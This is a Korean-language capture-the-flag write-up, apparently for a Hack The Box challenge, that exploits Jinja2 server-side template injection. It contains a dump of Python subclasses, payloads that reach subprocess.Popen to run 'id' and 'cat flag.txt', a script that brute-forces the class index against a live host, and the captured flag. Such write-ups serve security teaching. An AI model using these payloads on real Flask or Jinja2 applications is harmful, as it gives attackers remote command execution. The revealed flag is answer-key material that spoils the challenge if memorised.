#[<class 'subprocess.Popen'>, <class 'platform._Processor'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'unicodedata.UCD'>, <class '_pydevd_bundle.pydevd_constants.DebugInfoHolder'>, <class '_pydevd_bundle.pydevd_vm_type.PydevdVmType'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'pyexpat.xmlparser'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class 'gzip._PaddedFile'>, <class 'xmlrpc.client.DateTime'>, <class 'xmlrpc.client.Binary'>, <class 'xmlrpc.client.ExpatParser'>, <class 'xmlrpc.client.Marshaller'>, <class 'xmlrpc.client.Unmarshaller'>, <class 'xmlrpc.client._MultiCallMethod'>, <class 'xmlrpc.client.MultiCallIterator'>, <class 'xmlrpc.client.MultiCall'>, <class 'xmlrpc.client._Method'>, <class 'xmlrpc.client.Transport'>, <class 'xmlrpc.client.ServerProxy'>, <class 'mimetypes.MimeTypes'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'socketserver.BaseServer'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'pydoc.Doc'>, <class 'pydoc.Helper'>, <class 'pydoc.ModuleScanner'>, <class 'xmlrpc.server.SimpleXMLRPCDispatcher'>, <class 'xmlrpc.server.XMLRPCDocGenerator'>, <class '_pydevd_bundle.pydevd_constants.ForkSafeLock'>, <class '_pydevd_bundle.pydevd_constants.Null'>, <class '_pydevd_bundle.pydevd_constants.KeyifyList'>, <class '_pydevd_bundle.pydevd_constants._GlobalSettings'>, <class '_pydevd_bundle.pydevd_constants.GlobalDebuggerHolder'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'plistlib.UID'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'textwrap.TextWrapper'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class 'PyHANDLE'>, <class 'PyOVERLAPPED'>, <class 'PyDEVMODEA'>, <class 'PyDEVMODEW'>, <class 'PyWAVEFORMATEX'>, <class 'PyIID'>, <class 'PySECURITY_DESCRIPTOR'>, <class 'PySECURITY_ATTRIBUTES'>, <class 'PySID'>, <class 'PyACL'>, <class 'PyDISPLAY_DEVICE'>, <class 'interface-type'>, <class 'PyOleEmpty'>, <class 'PyOleMissing'>, <class 'ArgNotFound'>, <class 'PyOleNothing'>, <class 'PyFUNCDESC'>, <class 'PySTGMEDIUM'>, <class 'PyTYPEATTR'>, <class 'PyVARDESC'>, <class 'com_record'>, <class 'pkg_resources.extern.packaging._structures.InfinityType'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinityType'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Undefined'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class '_pydev_bundle.pydev_log._LoggingGlobals'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class '_pydevd_bundle.pydevd_extension_utils.ExtensionManager'>, <class '_pydevd_bundle.pydevd_frame_utils.Frame'>, <class '_pydevd_bundle.pydevd_frame_utils.FCode'>, <class '_pydevd_bundle.pydevd_frame_utils.FramesList'>, <class '_pydevd_bundle.pydevd_frame_utils._DummyFrameWrapper'>, <class '_pydevd_bundle.pydevd_filtering.FilesFiltering'>, <class '_pydevd_bundle.pydevd_io.IORedirector'>, <class '_pydevd_bundle.pydevd_io.RedirectToPyDBIoMessages'>, <class '_pydevd_bundle.pydevd_io.IOBuf'>, <class '_pydevd_bundle.pydevd_io._RedirectInfo'>, <class '_pydevd_bundle.pydevd_io._RedirectionsHolder'>, <class '_pydevd_bundle.pydevd_utils.ScopeRequest'>, <class '_pydevd_bundle.pydevd_utils.DAPGrouper'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pydevd_bundle.pydevd_safe_repr.SafeRepr'>, <class '_pydevd_bundle.pydevd_resolver.DefaultResolver'>, <class '_pydevd_bundle.pydevd_resolver.DAPGrouperResolver'>, <class '_pydevd_bundle.pydevd_resolver.DictResolver'>, <class '_pydevd_bundle.pydevd_resolver.TupleResolver'>, <class '_pydevd_bundle.pydevd_resolver.SetResolver'>, <class '_pydevd_bundle.pydevd_resolver.InstanceResolver'>, <class '_pydevd_bundle.pydevd_resolver.JyArrayResolver'>, <class '_pydevd_bundle.pydevd_resolver.FrameResolver'>, <class '_pydevd_bundle.pydevd_resolver.InspectStub'>, <class '_pydevd_bundle.pydevd_extension_api._AbstractResolver'>, <class '_pydevd_bundle.pydevd_extension_api._AbstractProvider'>, <class '_pydevd_bundle.pydevd_extension_api.DebuggerEventHandler'>, <class '_pydevd_bundle.pydevd_xml.ExceptionOnEvaluate'>, <class '_pydevd_bundle.pydevd_xml.TypeResolveHandler'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.SetLineno'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.Label'>, <class '_pydevd_frame_eval.vendored.bytecode.instr._Variable'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.Instr'>, <class '_pydevd_frame_eval.vendored.bytecode.bytecode.BaseBytecode'>, <class '_pydevd_frame_eval.vendored.bytecode.concrete._ConvertBytecodeToConcrete'>, <class '_pydevd_bundle.pydevd_bytecode_utils.Target'>, <class '_pydevd_bundle.pydevd_bytecode_utils._TargetIdHashable'>, <class '_pydevd_bundle.pydevd_bytecode_utils._StackInterpreter'>, <class '_pydevd_bundle.pydevd_bytecode_utils.Variant'>, <class '_pydevd_bundle.pydevd_frame._TryExceptContainerObj'>, <class '_pydevd_bundle.pydevd_frame.PyDBFrame'>, <class '_pydevd_bundle.pydevd_additional_thread_info_regular.PyDBAdditionalThreadInfo'>, <class '_pydevd_bundle.pydevd_defaults.PydevdCustomization'>, <class '_pydev_bundle.pydev_monkey._NewThreadStartupWithTrace'>, <class '_pydev_bundle.pydev_monkey._NewThreadStartupWithoutTrace'>, <class 'pydevd_tracing.TracingFunctionHolder'>, <class '_pydevd_bundle.pydevd_timeout._OnTimeoutHandle'>, <class '_pydevd_bundle.pydevd_timeout.TimeoutTracker'>, <class '_pydev_bundle.pydev_console_utils.BaseStdIn'>, <class '_pydev_bundle.pydev_console_utils.CodeFragment'>, <class '_pydev_bundle.pydev_console_utils.BaseInterpreterInterface'>, <class '_pydev_bundle.pydev_console_utils.FakeFrame'>, <class '_pydevd_bundle.pydevd_breakpoints.ExceptionBreakpoint'>, <class '_pydevd_bundle.pydevd_breakpoints.LineBreakpoint'>, <class '_pydevd_bundle.pydevd_custom_frames.CustomFramesContainer'>, <class '_pydevd_bundle.pydevd_custom_frames.CustomFrame'>, <class '_pydevd_bundle.pydevd_net_command._BaseNetCommand'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pydevconsole.Command'>, <class '_pydev_bundle.pydev_umd.UserModuleDeleter'>, <class 'pydevconsole._ProcessExecQueueHelper'>, <class '_pydev_bundle._pydev_completer._StartsWithFilter'>, <class '_pydev_bundle._pydev_completer.Completer'>, <class '_pydevd_bundle.pydevd_net_command_factory_xml.NetCommandFactory'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.TopLevelThreadTracerOnlyUnhandledExceptions'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.TopLevelThreadTracerNoBackFrame'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.ThreadTracer'>, <class '_pydevd_bundle.pydevd_source_mapping.SourceMappingEntry'>, <class '_pydevd_bundle.pydevd_source_mapping.SourceMapping'>, <class 'pydevd_concurrency_analyser.pydevd_thread_wrappers.ObjectWrapper'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.ThreadingLogger'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.NameManager'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.AsyncioLogger'>, <class '_pydevd_bundle._debug_adapter.pydevd_base_schema.BaseSchema'>, <class '_pydevd_bundle.pydevd_reload.Reload'>, <class '_pydev_bundle.fsnotify._SingleVisitInfo'>, <class '_pydev_bundle.fsnotify._PathWatcher'>, <class '_pydev_bundle.fsnotify.Watcher'>, <class '_pydevd_bundle.pydevd_console.ConsoleMessage'>, <class '_pydevd_bundle.pydevd_console.InteractiveConsoleCache'>, <class '_pydevd_bundle.pydevd_comm.InternalThreadCommand'>, <class '_pydevd_bundle.pydevd_net_command_factory_json.ModulesManager'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info.TryExceptInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info.ReturnInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._TargetInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._MsgPart'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._Disassembler'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI.VariablePresentation'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._DummyFrame._DummyCode'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._DummyFrame'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._AddBreakpointResult'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI'>, <class '_pydevd_bundle.pydevd_json_debug_options.DebugOptions'>, <class '_pydevd_bundle.pydevd_process_net_command_json.IDMap'>, <class '_pydevd_bundle.pydevd_process_net_command_json.PyDevJsonCommandProcessor'>, <class '_pydevd_bundle.pydevd_traceproperty.DebugProperty'>, <class '_pydevd_bundle.pydevd_process_net_command._PyDevCommandProcessor'>, <class '_pydevd_bundle.pydevd_suspended_frames._AbstractVariable'>, <class '_pydevd_bundle.pydevd_suspended_frames._FramesTracker'>, <class '_pydevd_bundle.pydevd_suspended_frames.SuspendedFramesManager'>, <class 'pydevd_plugins.django_debug.DjangoTemplateFrame'>, <class 'pydevd_plugins.django_debug.DjangoTemplateSyntaxErrorFrame'>, <class 'pydevd_plugins.jinja2_debug.Jinja2TemplateFrame'>, <class 'pydevd_plugins.jinja2_debug.Jinja2TemplateSyntaxErrorFrame'>, <class '_pydevd_bundle.pydevd_plugin_utils.PluginManager'>, <class 'pydevd.AbstractSingleNotificationBehavior'>, <class 'pydevd._Authentication'>, <class 'pydevd.PyDB'>, <class 'pydevd.IDAPMessagesListener'>, <class 'pydevd.Dispatcher'>, <class 'pydevd.SetupHolder'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NdArrayResolver'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NdArrayItemsContainer'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NDArrayTypeResolveProvider'>, <class 'pydevd_plugins.extensions.types.pydevd_plugins_django_form_str.DjangoFormStr'>, <class 'debugpy.common.util.Observable'>, <class 'debugpy.common.log.LogFile'>, <class 'debugpy.common.log.NoLog'>, <class 'debugpy.server.cli.Options'>, <class '_pydev_bundle.pydev_monkey.patch_thread_module.<locals>.ClassWithPydevStartNewThread'>, <class '_pydev_bundle.pydev_monkey.patch_thread_module.<locals>.ClassWithPydevStartNewThread'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click._winconsole.ConsoleStream'>, <class 'click._winconsole.WindowsChunkedWriter'>, <class 'colorama.ansi.AnsiCodes'>, <class 'colorama.ansi.AnsiCursor'>, <class 'colorama.winterm.WinColor'>, <class 'colorama.winterm.WinStyle'>, <class 'colorama.winterm.WinTerm'>, <class 'colorama.ansitowin32.StreamWrapper'>, <class 'colorama.ansitowin32.AnsiToWin32'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.ForkingMixIn'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]
{{ ''.__class__.__mro__[1].__subclasses__()[245] }}
#<class 'subprocess.Popen'>
{{ ''.__class__.__mro__[1].__subclasses__()[245]('id',shell=True,stdout=-1).communicate() }}
#uid=0(root) gid=0(root) groups=0(root)
{{ ''.__class__.__mro__[1].__subclasses__()[245]('cat flag.txt',shell=True,stdout=-1).communicate() }}

 

subprocess.Popen 이 몇번째 인덱스인지 찾기 위해 아래와 같이 코드를 작성하였다.

import requests

for i in range(500) :
    payload = "http://138.68.155.111:30242/%7B%7B%20''.__class__.__mro__[1].__subclasses__()["+str(i)+"]%20%7D%7D"
    res = requests.get(payload)
    response = res.text
    print(i)
    print(response)
    if "subprocess.Popen" in response :
        print("Match!!")
        print(i)
        break
## http://138.68.155.111:30242/%7B%7B%20''.__class__.__mro__[1].__subclasses__()[414]('cat%20flag.txt',shell=True,stdout=-1).communicate()%20%7D%7D
## HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}

 

인덱스를 찾은 후에 RCE가 실제로 가능했고 flag.txt를 찾아 읽음으로써 플래그를 획득했다.

FLAG : HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}